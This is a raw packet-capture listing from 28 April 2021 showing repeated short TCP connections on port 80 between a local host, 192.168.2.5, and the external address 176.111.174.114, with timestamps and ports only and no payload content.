Apr 28, 2021 23:24:33.558747053 CEST	50216	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.560395002 CEST	50218	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.634715080 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.634742975 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.634751081 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.634921074 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.635175943 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.635202885 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.635354996 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.635425091 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.635523081 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.635710001 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.635924101 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.635941982 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.636002064 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.636051893 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.636266947 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.636389971 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.652151108 CEST	80	50216	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.653508902 CEST	50216	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.660607100 CEST	80	50218	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.660892963 CEST	50218	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.661490917 CEST	50218	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.733484030 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733506918 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733517885 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733642101 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.733680964 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.733717918 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733733892 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733747959 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733762026 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733798981 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.733822107 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.733874083 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733891010 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.733953953 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.734025002 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.734070063 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.762506008 CEST	80	50218	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.766557932 CEST	80	50218	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.767976999 CEST	50218	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.833627939 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.833650112 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.833661079 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.833689928 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.833832979 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.833880901 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.833981991 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834028959 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.834182024 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834345102 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834357977 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834369898 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834460974 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.834496021 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.834542990 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834553957 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.834602118 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.871083021 CEST	50218	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.872412920 CEST	50219	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.931566000 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.931735992 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.931749105 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.931971073 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.931982994 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932126999 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932137966 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932149887 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932285070 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932522058 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932729959 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932742119 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.932884932 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.933043957 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.934748888 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.935050964 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.967159033 CEST	80	50219	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.967261076 CEST	50219	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.968771935 CEST	50219	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:33.971869946 CEST	80	50218	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:33.971966028 CEST	50218	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.033050060 CEST	80	50217	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.033155918 CEST	50217	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.063479900 CEST	80	50219	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.066870928 CEST	80	50219	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.066978931 CEST	50219	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.184113026 CEST	50219	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.186630964 CEST	50221	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.278940916 CEST	80	50219	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.279021025 CEST	50219	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.279906988 CEST	80	50221	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.279995918 CEST	50221	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.280575991 CEST	50221	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.376013994 CEST	80	50221	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.379736900 CEST	80	50221	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.380104065 CEST	50221	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.496251106 CEST	50221	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.497634888 CEST	50222	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.590548038 CEST	80	50221	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.590652943 CEST	50221	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.592639923 CEST	80	50222	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.592726946 CEST	50222	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.593314886 CEST	50222	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.686795950 CEST	80	50222	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.690778971 CEST	80	50222	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.690871954 CEST	50222	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.792937994 CEST	50222	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.794406891 CEST	50223	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.886778116 CEST	80	50222	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.887979984 CEST	50222	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.894112110 CEST	80	50223	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:34.896421909 CEST	50223	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.897288084 CEST	50223	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:34.997211933 CEST	80	50223	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.001149893 CEST	80	50223	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.001255989 CEST	50223	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.105729103 CEST	50223	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.107172966 CEST	50225	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.205826044 CEST	80	50223	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.206017017 CEST	50223	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.210525990 CEST	80	50225	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.212176085 CEST	50225	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.212747097 CEST	50225	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.316112041 CEST	80	50225	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.320074081 CEST	80	50225	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.320171118 CEST	50225	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.433706045 CEST	50225	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.437531948 CEST	50226	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.537516117 CEST	80	50225	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.537646055 CEST	50225	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.537769079 CEST	80	50226	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.537859917 CEST	50226	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.538502932 CEST	50226	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.638271093 CEST	80	50226	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.644961119 CEST	80	50226	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.645128965 CEST	50226	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.770212889 CEST	50226	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.771663904 CEST	50227	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.866388083 CEST	80	50227	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.866583109 CEST	50227	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.867249012 CEST	50227	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.869988918 CEST	80	50226	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.870096922 CEST	50226	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:35.964000940 CEST	80	50227	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.967494011 CEST	80	50227	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:35.967637062 CEST	50227	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.074294090 CEST	50227	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.075306892 CEST	50228	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.168836117 CEST	80	50228	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.168926954 CEST	50228	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.168982983 CEST	80	50227	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.169039011 CEST	50227	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.169696093 CEST	50228	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.263329983 CEST	80	50228	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.266910076 CEST	80	50228	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.267013073 CEST	50228	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.371635914 CEST	50228	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.372684956 CEST	50229	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.397202015 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.467406988 CEST	80	50228	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.467436075 CEST	80	50229	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.467508078 CEST	50228	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.467550993 CEST	50229	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.468039036 CEST	50229	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.497958899 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.499011040 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.499290943 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.562721968 CEST	80	50229	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.566478968 CEST	80	50229	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.567714930 CEST	50229	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.598167896 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.598192930 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.598201990 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.598308086 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.598381996 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.598454952 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.683514118 CEST	50229	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.684976101 CEST	50231	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.697354078 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.697379112 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.697413921 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.697432041 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.697443008 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.697479963 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.697494030 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.697514057 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.697614908 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.697628021 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.697726011 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.777879953 CEST	80	50229	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.777967930 CEST	50229	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.782924891 CEST	80	50231	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.783200979 CEST	50231	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.783694029 CEST	50231	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.798038006 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.798064947 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.798080921 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.798173904 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.798217058 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.800649881 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.800684929 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.800695896 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.800709963 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.800725937 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.800741911 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.800918102 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.801011086 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.880283117 CEST	80	50231	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.883668900 CEST	80	50231	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.885102034 CEST	50231	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.899636984 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.899681091 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.899696112 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.899712086 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.899725914 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.899764061 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.899897099 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900104046 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900295973 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900450945 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900619030 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900638103 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900821924 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.900978088 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.902765036 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:36.904342890 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.996392965 CEST	50231	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:36.997942924 CEST	50233	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.004816055 CEST	80	50230	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.004976988 CEST	50230	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.093153000 CEST	80	50231	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.093239069 CEST	50231	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.099852085 CEST	80	50233	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.103168011 CEST	50233	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.103813887 CEST	50233	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.205821991 CEST	80	50233	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.209705114 CEST	80	50233	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.209861040 CEST	50233	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.324724913 CEST	50233	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.326215029 CEST	50234	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.429119110 CEST	80	50234	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.429243088 CEST	50234	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.429656982 CEST	80	50233	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.430269957 CEST	50234	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.430351019 CEST	50233	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.533684969 CEST	80	50234	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.537668943 CEST	80	50234	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.537832022 CEST	50234	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.652808905 CEST	50234	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.653996944 CEST	50235	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.746840000 CEST	80	50235	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.747045040 CEST	50235	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.748617887 CEST	50235	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.752389908 CEST	80	50234	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.752688885 CEST	50234	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.842183113 CEST	80	50235	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.845463037 CEST	80	50235	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:37.845638990 CEST	50235	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.950109959 CEST	50235	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:37.952667952 CEST	50236	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.043783903 CEST	80	50235	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.043894053 CEST	50235	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.052324057 CEST	80	50236	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.052566051 CEST	50236	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.053359985 CEST	50236	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.154036045 CEST	80	50236	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.158329964 CEST	80	50236	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.161950111 CEST	50236	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.280038118 CEST	50236	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.281307936 CEST	50238	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.379478931 CEST	80	50238	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.379663944 CEST	50238	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.379771948 CEST	80	50236	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.379873991 CEST	50236	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.380455971 CEST	50238	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.478828907 CEST	80	50238	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.482573032 CEST	80	50238	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.482649088 CEST	50238	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.590476990 CEST	50238	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.591928005 CEST	50239	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.685765982 CEST	80	50239	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.685904026 CEST	50239	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.686486006 CEST	50239	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.688503981 CEST	80	50238	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.688585043 CEST	50238	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.781708956 CEST	80	50239	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.785456896 CEST	80	50239	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.785583019 CEST	50239	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.903403997 CEST	50239	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.904885054 CEST	50240	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:38.996820927 CEST	80	50239	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:38.996952057 CEST	50239	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.002222061 CEST	80	50240	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.002372026 CEST	50240	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.002957106 CEST	50240	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.100298882 CEST	80	50240	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.104017973 CEST	80	50240	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.104201078 CEST	50240	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.215383053 CEST	50240	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.216773033 CEST	50241	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.311979055 CEST	80	50241	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.312083960 CEST	50241	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.312592983 CEST	80	50240	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.312659025 CEST	50240	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.314315081 CEST	50241	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.364259005 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.409357071 CEST	80	50241	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.412800074 CEST	80	50241	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.412884951 CEST	50241	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.462116957 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.462241888 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.462794065 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.527662039 CEST	50241	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.528892994 CEST	50243	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.560636997 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.560743093 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.561089039 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.561157942 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.561459064 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.561537027 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.561764002 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.561875105 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.562217951 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.562280893 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.562525034 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.562541008 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.562588930 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.562617064 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.563050032 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.563117027 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.563199043 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.563256979 CEST	50242	80	192.168.2.5	176.111.174.114
